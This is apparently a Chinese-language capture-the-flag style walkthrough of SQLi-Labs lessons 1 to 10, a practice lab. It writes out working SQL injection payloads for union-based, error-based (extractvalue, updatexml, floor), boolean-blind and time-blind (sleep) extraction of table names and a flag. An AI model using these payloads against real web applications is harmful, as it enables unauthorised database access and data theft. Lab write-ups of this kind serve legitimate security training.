SQLi-Labs WP
less 1 WP
题目中让我们给 id 输入一个数值,我们 GET 一个 id=1.

随后我们查询它的类型是否为数字型,用 ?id=1 and 1=2 来判断,然而页面依旧正常,可见这个是字符型。
然后我们查询它的闭合方式。
当我们 GET 一个 ?id=1' 时,他会给我们报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,而 ?id=1" 时,页面还是正常的,那段错误是说在处理 ''1'' LIMIT 0,1' 时出现错误,我们在拆一下,会发现是在 '1'' LIMIT 0,1 出现错误,由此可见,闭合方式就是 '.
我们接下来使用 order by 来查询列数,使用二分法 ?id=1' order by 10 --+, ?id=1' order by 5 --+, ?id=1' order by 3 --+, ?id=1' order by 4 --+, 最终可以查询到列数为 4。
随后通过 select 来判断回显位。?id=0' union select 1, 2, 3 --+, 最终判断得到 2, 3 的位置是我们的回显位,随后我们查询表名、列名。
?id=0' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = database() --+
?id=0' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = 'flag' --+
我们查到在当前数据库里有个名叫 flag 的表,但是表里有名为 id 和 flag 的两个列,那我们接下来直接查询 flag 里的所有信息即可。
?id=0' union select 1, flag, 3 from flag --+
然后我们就得到 flag 了。

less 2 WP
和 less 1 相比,这个从字符型变为了数字型,不用再判断闭合方式了,后续操作差不多。

less 3 WP
和 less 1 相比,闭合方式为 '), 修改一下闭合方式,其他的一样。
?id=0') union select 1, flag, 3 from flag --+

less 4 WP
和 less 1 相比,闭合方式为 "), 照旧……
?id=0") union select 1, flag, 3 from flag --+

less 5 WP
这次不一样了,我们 GET id = 1, 但页面却显示 You are in..........., 而且不管怎么折腾都没有变化,除了报错的时候。
先查是否为数字型,查询闭合方式为 ', 查询列数为 3。
利用错误命令 ?id=1' union select 1, 2, dadabase() --+, 查询到错误信息 FUNCTION security.dadabase does not exist, 由此得知数据库名为 security, 也可以通过 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select database()))) --+ 来得知数据库名为 security.(回显为 XPATH syntax error: '~security')
同理,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 查询表名,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag'))) --+ 查询列名,最终用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select flag from flag))) --+ 查询到 flag.

less 6 WP
还是先判断类型,在判断闭合方式,这次是 " 闭合,判断列数,随后我们用 updatexml 来注入。
?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database())), 3)--+ 查列名,?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag')), 3)--+ 查表名,最后用 ?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(flag) from flag)), 3)--+ 来查询 flag.

这个用 floor 注入也能做,只不过需要调整一下输出长度,用 substring 就可以。
?id=-1" union select 1, count(*), concat('~',substring((select flag from flag), 1, 45), floor(rand(0)*2)) as x from information_schema.tables group by x --+
less 7 WP
这次的闭合方式为 ')), 积累一下。
通过 ?id=1')) and 1=1--+ 与 ?id=1')) and 1=2--+ 判断可以用布尔盲注。
利用布尔盲注的语句来判断数据库、表名、列名、flag,通过 substr 来控制输出。
?id=1')) and ascii(substr((select flag from flag), 1, 1))>=102--+
得到的数字为:
102
108
97
103
123
53
49
101
52
99
52
101
56
57
55
52
56
52
57
98
51
56
48
98
53
51
57
57
55
49
56
102
51
97
57
102
125
这边是结果 flag{51e4c4e8974849b380b5399718f3a9f}。
我想说:手写布尔盲注真的不幽默………………
less 8 WP
可以用和 less 7 一样的布尔盲注。
……
less 9 WP
没有任何回显,通过 ?id=1' and sleep(10)--+ 判断可以使用时间盲注,闭合方式为 '.
?id=1' and if(ascii(substr((select flag from flag), 1, 1)) = 102, sleep(0), sleep(3)) --+
剩下的就是用布尔盲注来比大小……
less 10 WP
与 less 9 相比,闭合方式为 ",其他的都是一样的。
?id=1" and if(ascii(substr((select flag from flag), 1, 1) >= 100 ,sleep(0), sleep(3)) --+
然后就是布尔盲注比大小……
真的,手写布尔盲注一点也不好玩……